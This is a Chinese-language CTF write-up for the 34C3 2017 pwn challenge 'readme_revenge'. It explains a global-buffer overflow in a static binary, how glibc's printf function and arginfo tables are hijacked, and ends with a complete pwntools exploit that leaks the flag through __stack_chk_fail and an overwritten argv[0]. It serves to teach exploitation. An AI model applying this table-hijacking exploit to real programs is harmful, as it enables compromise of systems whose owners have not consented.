# 6.1.13 pwn 34C3CTF2017 readme\_revenge * [题目复现](#题目复现) * [题目解析](#题目解析) * [漏洞利用](#漏洞利用) * [参考资料](#参考资料) [下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.13_pwn_34c3ctf2017_readme_revenge) ## 题目复现 这个题目实际上非常有趣。 ``` $ file readme_revenge readme_revenge: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=2f27d1b57237d1ab23f8d0fc3cd418994c5b443d, not stripped $ checksec -f readme_revenge RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 3 45 readme_revenge ``` 与我们经常接触的题目不同，这是一个静态链接程序，运行时不需要加载 libc。not stripped 绝对是个好消息。 ``` $ ./readme_revenge aaaa Hi, aaaa. Bye. $ ./readme_revenge %x.%d.%p Hi, %x.%d.%p. Bye. $ python -c 'print("A"*2000)' > crash_input $ ./readme_revenge < crash_input Segmentation fault (core dumped) ``` 我们试着给它输入一些字符，结果被原样打印出来，而且看起来也不存在格式化字符串漏洞。但当我们输入大量字符时，触发了段错误，这倒是一个好消息。 接着又发现了这个： ``` $ rabin2 -z readme_revenge | grep 34C3 Warning: Cannot initialize dynamic strings 000 0x000b4040 0x006b4040 35 36 (.data) ascii 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ``` 看来 flag 是被隐藏在程序中的，地址在 `0x006b4040`，位于 `.data` 段上。结合题目的名字 readme，推测这题的目标应该是从程序中读取或者泄漏出 flag。 ## 题目解析 因为 flag 在程序的 `.data` 段上，根据我们的经验，应该能想到利用 `__stack_chk_fail()` 将其打印出来（参考章节 4.12）。 main 函数如下： ``` [0x00400900]> pdf @ main ;-- main: / (fcn) sym.main 80 | sym.main (int arg_1020h); | ; arg int arg_1020h @ rsp+0x1020 | ; DATA XREF from 0x0040091d (entry0) | 0x00400a0d 55 push rbp | 0x00400a0e 4889e5 mov rbp, rsp | 0x00400a11 488da424e0ef. lea rsp, [rsp - 0x1020] | 0x00400a19 48830c2400 or qword [rsp], 0 | 0x00400a1e 488da4242010. lea rsp, [arg_1020h] ; 0x1020 | 0x00400a26 488d35b3692b. lea rsi, obj.name ; 0x6b73e0 | 0x00400a2d 488d3d50c708. lea rdi, [0x0048d184] ; "%s" | 0x00400a34 b800000000 mov eax, 0 | 0x00400a39 e822710000 call sym.__isoc99_scanf | 0x00400a3e 488d359b692b. lea rsi, obj.name ; 0x6b73e0 | 0x00400a45 488d3d3bc708. lea rdi, str.Hi___s._Bye. ; 0x48d187 ; "Hi, %s. Bye.\n" | 0x00400a4c b800000000 mov eax, 0 | 0x00400a51 e87a6f0000 call sym.__printf | 0x00400a56 b800000000 mov eax, 0 | 0x00400a5b 5d pop rbp \ 0x00400a5c c3 ret ``` 很简单，从标准输入读取字符串到变量 `name`，地址在 `0x6b73e0`，且位于 `.bss` 段上，是一个全局变量。接下来程序调用 printf 将 `name` 打印出来。 在 gdb 里试试： ``` gdb-peda$ r < crash_input Starting program: /home/firmy/Desktop/RE4B/readme/readme_revenge < crash_input Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x4141414141414141 ('AAAAAAAA') RBX: 0x7fffffffd190 --> 0xffffffff RCX: 0x7fffffffd160 --> 0x0 RDX: 0x73 ('s') RSI: 0x0 RDI: 0x48d18b ("%s. Bye.\n") RBP: 0x0 RSP: 0x7fffffffd050 --> 0x0 RIP: 0x45ad64 (<__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0) R8 : 0x48d18b ("%s. Bye.\n") R9 : 0x4 R10: 0x48d18c ("s. Bye.\n") R11: 0x7fffffffd160 --> 0x0 R12: 0x0 R13: 0x7fffffffd190 --> 0xffffffff R14: 0x48d18b ("%s. Bye.\n") R15: 0x1 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x45ad53 <__parse_one_specmb+1283>: jmp 0x45ab95 <__parse_one_specmb+837> 0x45ad58 <__parse_one_specmb+1288>: nop DWORD PTR [rax+rax*1+0x0] 0x45ad60 <__parse_one_specmb+1296>: movzx edx,BYTE PTR [r10] => 0x45ad64 <__parse_one_specmb+1300>: cmp QWORD PTR [rax+rdx*8],0x0 0x45ad69 <__parse_one_specmb+1305>: je 0x45a944 <__parse_one_specmb+244> 0x45ad6f <__parse_one_specmb+1311>: lea rdi,[rsp+0x8] 0x45ad74 <__parse_one_specmb+1316>: mov rsi,rbx 0x45ad77 <__parse_one_specmb+1319>: addr32 call 0x44cfa0 <__handle_registered_modifier_mb> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffd050 --> 0x0 0008| 0x7fffffffd058 --> 0x48d18c ("s. Bye.\n") 0016| 0x7fffffffd060 --> 0x0 0024| 0x7fffffffd068 --> 0x0 0032| 0x7fffffffd070 --> 0x7fffffffd5e0 --> 0x7fffffffdb90 --> 0x7fffffffdc80 --> 0x4014a0 (<__libc_csu_init>: push r15) 0040| 0x7fffffffd078 --> 0x7fffffffd190 --> 0xffffffff 0048| 0x7fffffffd080 --> 0x7fffffffd190 --> 0xffffffff 0056| 0x7fffffffd088 --> 0x443153 (: mov r14,QWORD PTR [r12+0x20]) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000045ad64 in __parse_one_specmb () gdb-peda$ x/8gx &name 0x6b73e0 : 0x4141414141414141 0x4141414141414141 0x6b73f0 : 0x4141414141414141 0x4141414141414141 0x6b7400 <_dl_tls_static_used>: 0x4141414141414141 0x4141414141414141 0x6b7410 <_dl_tls_max_dtv_idx>: 0x4141414141414141 0x4141414141414141 ``` 程序的漏洞很明显了，就是缓冲区溢出覆盖了 libc 静态编译到程序里的一些指针。再往下看会发现一些可能有用的： ``` gdb-peda$ 0x6b7978 <__libc_argc>: 0x4141414141414141 gdb-peda$ 0x6b7980 <__libc_argv>: 0x4141414141414141 gdb-peda$ 0x6b7a28 <__printf_function_table>: 0x4141414141414141 gdb-peda$ 0x6b7a30 <__printf_modifier_table>: 0x4141414141414141 gdb-peda$ 0x6b7aa8 <__printf_arginfo_table>: 0x4141414141414141 gdb-peda$ 0x6b7ab0 <__printf_va_arg_table>: 0x4141414141414141 ``` 再看一下栈回溯情况吧： ``` gdb-peda$ bt #0 0x000000000045ad64 in __parse_one_specmb () #1 0x0000000000443153 in printf_positional () #2 0x0000000000446ed2 in vfprintf () #3 0x0000000000407a74 in printf () #4 0x0000000000400a56 in main () #5 0x0000000000400c84 in generic_start_main () #6 0x0000000000400efd in __libc_start_main () #7 0x000000000040092a in _start () ``` 依次调用了 `printf() => vfprintf() => printf_positional() => __parse_one_specmb()`。那就看一下 glibc 源码，然后发现了这个： ```c // stdio-common/vfprintf.c /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; ``` ```c // stdio-common/printf-parsemb.c /* Get the format specification. */ spec->info.spec = (wchar_t) *format++; spec->size = -1; if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) { ``` 这里就涉及到 glibc 的一个特性，它允许用户为 printf 的模板字符串（template strings）定义自己的转换函数，方法是使用函数 `register_printf_function()`： ```c // stdio-common/printf.h extern int register_printf_function (int __spec, printf_function __func, printf_arginfo_function __arginfo) __THROW __attribute_deprecated__; ``` * 该函数为指定的字符 `__spec` 定义一个转换规则。因此如果 `__spec` 是 `Y`，它定义的转换规则就是 `%Y`。用户甚至可以重新定义已有的字符，例如 `%s`。 * `__func` 是一个函数，在对指定的 `__spec` 进行转换时由 `printf` 调用。 * `__arginfo` 也是一个函数，在对指定的 `__spec` 进行转换时由 `parse_printf_format` 调用。 想一下，在程序的 main 函数中，使用 `%s` 调用了 `printf`，如果我们能重新定义一个转换规则，就能做利用 `__func` 做我们想做的事情。然而我们并不能直接调用 `register_printf_function()`。那么，如果利用溢出修改 `__printf_function_table` 呢，这当然是可以的。 `register_printf_function()` 其实也就是 `__register_printf_specifier()`，我们来看看它是怎么实现的： ```c // stdio-common/reg-printf.c /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec < 0 || spec > (int) UCHAR_MAX) { __set_errno (EINVAL); return -1; } int result = 0; __libc_lock_lock (lock); if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); } __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; out: __libc_lock_unlock (lock); return result; } ``` 然后发现 `spec` 被直接用做数组 `__printf_function_table` 和 `__printf_arginfo_table` 的下标。`s` 也就是 `0x73`，这和我们在 gdb 里看到的相符：`rdx=0x73`，`[rax+rdx*8]`正好是数组取值的方式，虽然这里的 `rax` 里保存的是 `__printf_modifier_table`。 ## 漏洞利用 有了上面的分析，下面我们来构造 exp。 回顾一下 `__parse_one_specmb()` 函数里的 `if` 判断语句，我们知道 C 语言对 `||` 的处理机制是如果第一个表达式为 True，就不再进行第二个表达式的判断，所以为了执行函数 `*__printf_arginfo_table[spec->info.spec]`，需要前面的判断条件都为 False。我们可以在 `.bss` 段上伪造一个 `printf_arginfo_size_function` 结构体，在结构体偏移 `0x73*8` 的地方放上 `__stack_chk_fail()` 的地址，当该函数执行时，将打印出 `argv[0]` 指向的字符串，所以我们还需要将 `argv[0]` 覆盖为 flag 的地址。 Bingo!!! ``` $ python2 exp.py [+] Starting local process './readme_revenge': pid 14553 [*] Switching to interactive mode *** stack smashing detected ***: 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX terminated ``` ### exploit 完整的 exp 如下： ```python from pwn import * io = process('./readme_revenge') flag_addr = 0x6b4040 name_addr = 0x6b73e0 argv_addr = 0x6b7980 func_table = 0x6b7a28 arginfo_table = 0x6b7aa8 stack_chk_fail = 0x4359b0 payload = p64(flag_addr) # name payload = payload.ljust(0x73 * 8, "\x00") payload += p64(stack_chk_fail) # __printf_arginfo_table[spec->info.spec] payload = payload.ljust(argv_addr - name_addr, "\x00") payload += p64(name_addr) # argv payload = payload.ljust(func_table - name_addr, "\x00") payload += p64(name_addr) # __printf_function_table payload = payload.ljust(arginfo_table - name_addr, "\x00") payload += p64(name_addr) # __printf_arginfo_table # with open("./payload", "wb") as f: # f.write(payload) io.sendline(payload) io.interactive() ``` ## 参考资料 * * [Customizing printf](https://www.gnu.org/software/libc/manual/html_node/Customizing-Printf.html)